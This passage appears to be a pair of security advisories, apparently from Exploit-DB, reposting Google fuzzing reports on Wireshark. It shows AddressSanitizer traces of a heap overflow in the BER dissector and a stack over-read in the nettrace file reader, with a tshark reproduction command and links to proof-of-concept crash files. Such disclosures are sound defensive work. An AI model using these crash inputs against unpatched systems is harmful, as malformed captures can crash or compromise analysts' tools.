#43 0x7fdd0fcb3ccf in call_dissector_with_data wireshark/epan/packet.c:2675:8
#44 0x7fdd108d3725 in dissect_eth_common wireshark/epan/dissectors/packet-eth.c:545:5
#45 0x7fdd108cbf33 in dissect_eth_maybefcs wireshark/epan/dissectors/packet-eth.c:828:5
#46 0x7fdd0fcc5cc1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
#47 0x7fdd0fcb85ea in call_dissector_work wireshark/epan/packet.c:691:9
#48 0x7fdd0fcb7dbd in dissector_try_uint_new wireshark/epan/packet.c:1148:9
#49 0x7fdd109c75f6 in dissect_frame wireshark/epan/dissectors/packet-frame.c:500:11
#50 0x7fdd0fcc5cc1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
#51 0x7fdd0fcb85ea in call_dissector_work wireshark/epan/packet.c:691:9
#52 0x7fdd0fcc22be in call_dissector_only wireshark/epan/packet.c:2662:8
#53 0x7fdd0fcb3ccf in call_dissector_with_data wireshark/epan/packet.c:2675:8
#54 0x7fdd0fcb333b in dissect_record wireshark/epan/packet.c:501:3
#55 0x7fdd0fc613c9 in epan_dissect_run_with_taps wireshark/epan/epan.c:373:2
#56 0x5264eb in process_packet wireshark/tshark.c:3728:5
#57 0x51f960 in load_cap_file wireshark/tshark.c:3484:11
#58 0x515daf in main wireshark/tshark.c:2197:13
0x7fdbb5647800 is located 0 bytes to the right of 2097152-byte region [0x7fdbb5447800,0x7fdbb5647800)
allocated by thread T0 here:
#0 0x4c0bc8 in malloc llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:40
#1 0x7fdd081e9610 in g_malloc (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4e610)
#2 0x7fdd131b731d in wmem_block_fast_alloc wireshark/epan/wmem/wmem_allocator_block_fast.c:126:9
#3 0x7fdd0fc0f4ca in address_to_str wireshark/epan/address_types.c:909:18
#4 0x7fdd0fc109b0 in address_with_resolution_to_str wireshark/epan/address_types.c:1054:16
#5 0x7fdd108d16c5 in dissect_eth_common wireshark/epan/dissectors/packet-eth.c:494:17
#6 0x7fdd108cbf33 in dissect_eth_maybefcs wireshark/epan/dissectors/packet-eth.c:828:5
#7 0x7fdd0fcc5cc1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
#8 0x7fdd0fcb85ea in call_dissector_work wireshark/epan/packet.c:691:9
#9 0x7fdd0fcb7dbd in dissector_try_uint_new wireshark/epan/packet.c:1148:9
#10 0x7fdd109c75f6 in dissect_frame wireshark/epan/dissectors/packet-frame.c:500:11
#11 0x7fdd0fcc5cc1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
#12 0x7fdd0fcb85ea in call_dissector_work wireshark/epan/packet.c:691:9
#13 0x7fdd0fcc22be in call_dissector_only wireshark/epan/packet.c:2662:8
#14 0x7fdd0fcb3ccf in call_dissector_with_data wireshark/epan/packet.c:2675:8
#15 0x7fdd0fcb333b in dissect_record wireshark/epan/packet.c:501:3
#16 0x7fdd0fc613c9 in epan_dissect_run_with_taps wireshark/epan/epan.c:373:2
#17 0x5264eb in process_packet wireshark/tshark.c:3728:5
#18 0x51f960 in load_cap_file wireshark/tshark.c:3484:11
#19 0x515daf in main wireshark/tshark.c:2197:13
SUMMARY: AddressSanitizer: heap-buffer-overflow wireshark/epan/dissectors/packet-ber.c:3990:17 in dissect_ber_constrained_bitstring
Shadow bytes around the buggy address:
0x0ffbf6ac0eb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffbf6ac0ec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffbf6ac0ed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffbf6ac0ee0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffbf6ac0ef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ffbf6ac0f00:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ffbf6ac0f10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ffbf6ac0f20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ffbf6ac0f30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ffbf6ac0f40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ffbf6ac0f50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==6953==ABORTING
--- cut ---
The crash was reported at https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=11828. Attached are two files which trigger the crash.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39327.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=694
The following crash due to a stack-based out-of-bounds read can be observed in an ASAN build of Wireshark (current git master), by feeding a malformed file to tshark ("$ ./tshark -nVxr /path/to/file"):
--- cut ---
==23220==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffc04c9c20 at pc 0x00000046cc29 bp 0x7fffc04c99b0 sp 0x7fffc04c9160
READ of size 515 at 0x7fffc04c9c20 thread T0
#0 0x46cc28 in StrstrCheck(void*, char*, char const*, char const*) llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:314
#1 0x46d0f7 in __interceptor_strstr llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:328
#2 0x7fbfa4361585 in nettrace_3gpp_32_423_file_open wireshark/wiretap/nettrace_3gpp_32_423.c:986:13
#3 0x7fbfa429fc7c in wtap_open_offline wireshark/wiretap/file_access.c:913:11
#4 0x51dd9d in cf_open wireshark/tshark.c:4195:9
#5 0x5178cb in main wireshark/tshark.c:2188:9
Address 0x7fffc04c9c20 is located in stack of thread T0 at offset 544 in frame
#0 0x7fbfa43611ff in nettrace_3gpp_32_423_file_open wireshark/wiretap/nettrace_3gpp_32_423.c:964
This frame has 1 object(s):
[32, 544) 'magic_buf' <== Memory access at offset 544 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:314 in StrstrCheck(void*, char*, char const*, char const*)
Shadow bytes around the buggy address:
0x100078091330: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100078091340: f1 f1 f1 f1 00 00 00 00 00 00 00 00 00 00 00 00
0x100078091350: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100078091360: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100078091370: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100078091380: 00 00 00 00[f3]f3 f3 f3 f3 f3 f3 f3 00 00 00 00
0x100078091390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000780913a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000780913b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000780913c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000780913d0: f1 f1 f1 f1 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==23220==ABORTING
--- cut ---
The crash was reported at https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=11982. Attached are three files which trigger the crash.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39326.zip